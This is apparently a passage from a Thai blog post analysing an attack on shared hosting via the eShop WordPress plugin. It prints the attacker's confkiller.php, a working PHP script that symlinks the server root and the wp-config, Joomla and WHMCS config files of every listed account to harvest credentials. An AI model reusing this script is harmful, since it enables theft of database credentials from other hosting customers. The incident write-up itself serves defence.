$pg = basename(__FILE__);
 ////////// WordPress ////////////
$pos = strpos($wp, "200");
$config=" ";
if (strpos($wp, "200") == true )
{
 $config="Wordpress";
}
elseif (strpos($wp12, "200") == true)
{
  $config="Wordpress";
}
ตัวอย่าง ไฟล์สคริปต์ confkiller.php
    error_reporting(0);
    echo "";
    if(isset($_POST['su']))
    {
    mkdir('Indishell',0777);
$rr  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$g = fopen('Indishell/.htaccess','w');
fwrite($g,$rr);
$indishell = symlink("/","Indishell/root");
            $rt=" OwN3d";
        echo "Bhai ji .... check link given below for / folder symlink
$rt";
        $dir=mkdir('INDISHELL',0777);
        $r  = " Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
        $f = fopen('INDISHELL/.htaccess','w');
        fwrite($f,$r);
        $consym="configuration files";
        echo "
The link given below for configuration file symlink...open it, once processing finish
$consym";
            $usr=explode("\n",$_POST['user']);
        $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");
        foreach($usr as $uss )
        {
            $us=trim($uss);
            foreach($configuration as $c)
            {
             $rs="/home/".$us."/public_html/".$c;
             $r="INDISHELL/".$us." .. ".$c;
             symlink($rs,$r);
        }
            }
        }
    ?>
ตัวอย่าง ไฟล์สคริปต์ idca.php

    
root@IDCA:~#
    
    
    



สรุป คือแฮกเกอร์พยายามเจาะเข้าระบบทุกโดเมนบนเว็บโฮตส์ติ้ง แต่แฮกได้เฉพาะผู้ที่ใช้ eShop WordPress Plugin แล้วทำการเปลี่ยนแปลงข้อมูลหน้าโฮมเพจ
และทำลิงก์แสดงข้อมูลไดร์เรกทอรีของระบบ การตรวจสอบเบื้องต้นไม่พบว่ามีข้อมูลสำคัญหลุดออกไป ช่องโหว่เกิดจากเครื่องมือ eShop และแฮกเกอร์ไม่ได้ใช้ทางช่องโหว่ของ WordPress (แต่ผู้ต้องอัพเดท WordPress ไปเป็นเวอร์ชั่นล่าสุด)

ไม่มีความคิดเห็น:

แสดงความคิดเห็น

ท่านสามารถแสดงข้อคิดเห็นที่เหมือน หรือ แตกต่างได้ครับ ขอความกรุณาใช้ถ้อยคำที่สุภาพด้วยครับ ขอบคุณครับ